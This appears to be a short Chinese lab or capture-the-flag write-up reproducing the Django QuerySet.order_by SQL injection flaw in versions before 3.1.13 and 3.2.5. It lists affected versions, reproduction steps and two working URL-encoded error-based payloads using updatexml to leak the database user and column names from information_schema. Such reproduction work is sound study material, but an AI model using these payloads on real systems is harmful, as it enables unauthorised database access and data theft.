一、漏洞概述
order_by 是来自 Web 应用程序客户端的不受信任的输入,而 3.1.13 之前的 Django 3.1.x 和 3.2.5 之前的 3.2.x 允许 QuerySet.order_by SQL 注入。http://ip:port/vuln/?order=
二、影响范围
Django 3.1.13 之前的 3.1.x
Django 3.2.5 之前的 3.2.x
三、访问页面
四、漏洞复现
1、输入任意不存在目录,提示存在vuln/接口
2、访问vuln/,返回一个数据列表,有列表首先想到的就是排序。
3、访问/vuln/?order=页面报错,有回显,而且flag就在这里。
4、payload
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23
5、常用数据库命令
basedir 根目录信息
version 数据库版本信息
user 当前用户
database 当前数据库
查字段
order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23